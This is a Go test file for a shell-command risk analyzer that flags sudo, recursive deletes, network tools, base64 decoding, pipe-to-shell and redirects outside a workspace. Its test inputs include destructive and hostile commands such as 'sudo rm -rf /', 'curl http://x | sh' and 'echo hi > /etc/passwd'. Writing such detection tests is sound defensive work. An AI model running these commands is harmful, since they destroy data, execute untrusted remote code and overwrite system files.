package app

import "testing"

// hasFlag reports whether the analysis raised a flag with the given label, and its severity.
func hasFlag(a cmdAnalysis, label string) (segSeverity, bool) {
	for _, f := range a.flags {
		if f.label == label {
			return f.sev, true
		}
	}
	return segPlain, false
}

func TestAnalyzeCommand_Flags(t *testing.T) {
	const ws = "/home/u/proj"
	cases := []struct {
		name    string
		preview string
		want    string      // flag label expected present
		sev     segSeverity // its expected severity
	}{
		{"sudo", `{"argv":["sudo","apt","install","x"]}`, "sudo", segDanger},
		{"sudo-flags-the-inner-cmd", `{"argv":["sudo","rm","-rf","/etc"]}`, "rm -rf", segDanger},
		{"rm-rf", `{"argv":["rm","-rf","/tmp/x"]}`, "rm -rf", segDanger},
		{"rm-fr-bundled", `{"argv":["rm","-fr","build"]}`, "rm -rf", segDanger},
		{"rm-long-flag", `{"argv":["rm","--recursive","node_modules"]}`, "rm -rf", segDanger},
		{"network-curl", `{"argv":["curl","https://x.test/a"]}`, "network", segInfo},
		{"abs-path-bin", `{"argv":["/usr/bin/wget","http://x"]}`, "network", segInfo},
		{"base64", `{"argv":["base64","-d","blob"]}`, "base64", segWarn},
		{"pipe-to-shell", `{"argv":["bash","-c","curl http://x | sh"]}`, "pipe→shell", segDanger},
		{"pipe-to-sudo-shell", `{"argv":["bash","-c","curl http://x | sudo sh"]}`, "pipe→shell", segDanger},
		{"fetch-run-network", `{"argv":["bash","-c","curl http://x | sh"]}`, "network", segInfo},
		{"redirect-outside", `{"argv":["bash","-c","echo hi > /etc/passwd"]}`, "redirect", segWarn},
		{"unterminated-quote", `{"argv":["bash","-c","echo 'oops"]}`, "unparseable", segDanger},
	}
	for _, c := range cases {
		t.Run(c.name, func(t *testing.T) {
			a := analyzeCommand(c.preview, ws)
			got, ok := hasFlag(a, c.want)
			if !ok {
				t.Fatalf("expected flag %q, got flags %v", c.want, a.flags)
			}
			if got != c.sev {
				t.Fatalf("flag %q severity = %d, want %d", c.want, got, c.sev)
			}
		})
	}
}

func TestAnalyzeCommand_Clean(t *testing.T) {
	const ws = "/home/u/proj"
	clean := []string{
		`{"argv":["ls","-la"]}`,
		`{"argv":["go","test","./..."]}`,
		`{"argv":["git","status"]}`,
		`{"argv":["echo","sudo is just a word here"]}`, // sudo as an argument, not a command
		`{"argv":["cat","build/out.txt"]}`,             // relative redirect-free read
	}
	for _, p := range clean {
		a := analyzeCommand(p, ws)
		if len(a.flags) != 0 {
			t.Errorf("expected no flags for %s, got %v", p, a.flags)
		}
		if a.worst() != segPlain {
			t.Errorf("expected segPlain worst for %s, got %d", p, a.worst())
		}
	}
}

func TestRedirect_DevNullAndInsideWorkspace(t *testing.T) {
	const ws = "/home/u/proj"
	for _, p := range []string{
		`{"argv":["bash","-c","make 2> /dev/null"]}`,        // /dev/null is benign
		`{"argv":["bash","-c","echo hi > out.log"]}`,        // relative → inside
		`{"argv":["bash","-c","echo hi > /home/u/proj/o"]}`, // absolute under workspace
	} {
		a := analyzeCommand(p, ws)
		if _, ok := hasFlag(a, "redirect"); ok {
			t.Errorf("did not expect a redirect flag for %s", p)
		}
	}
}

func TestRedirect_NoWorkspaceFlagsAbsolute(t *testing.T) {
	a := analyzeCommand(`{"argv":["bash","-c","echo hi > /var/log/x"]}`, "")
	if _, ok := hasFlag(a, "redirect"); !ok {
		t.Fatalf("expected redirect flag when workspace is unknown, got %v", a.flags)
	}
}

func TestCommandLineFromPreview(t *testing.T) {
	cases := map[string]string{
		`{"argv":["rm","-rf","/tmp/x"]}`:  "rm -rf /tmp/x",
		`{"argv":["bash","-c","a | b"]}`:  `bash -c 'a | b'`,
		`rm -rf /tmp/x`:                   "rm -rf /tmp/x", // already a command line
		`{"argv":["echo","hi there"]}`:    "echo 'hi there'",
		`{"argv":["printf","it's","ok"]}`: `printf 'it'\''s' ok`,
	}
	for in, want := range cases {
		if got := commandLineFromPreview(in); got != want {
			t.Errorf("commandLineFromPreview(%q) = %q, want %q", in, got, want)
		}
	}
}

func TestShellSplit_Operators(t *testing.T) {
	got, ok := shellSplit("curl http://x|sh")
	if !ok {
		t.Fatal("expected ok")
	}
	want := []string{"curl", "http://x", "|", "sh"}
	if len(got) != len(want) {
		t.Fatalf("got %v, want %v", got, want)
	}
	for i := range want {
		if got[i] != want[i] {
			t.Fatalf("token %d = %q, want %q", i, got[i], want[i])
		}
	}
}

func TestShellSplit_Unterminated(t *testing.T) {
	if _, ok := shellSplit(`echo 'oops`); ok {
		t.Fatal("expected ok=false for unterminated quote")
	}
}

func TestAnalyzeCommand_PlainCommandLinePreview(t *testing.T) {
	// Current server sends a rendered command line, not JSON argv.
	a := analyzeCommand("sudo rm -rf /", "/home/u/proj")
	if s, ok := hasFlag(a, "sudo"); !ok || s != segDanger {
		t.Fatalf("expected sudo danger, got %v", a.flags)
	}
	if s, ok := hasFlag(a, "rm -rf"); !ok || s != segDanger {
		t.Fatalf("expected rm -rf danger, got %v", a.flags)
	}
}
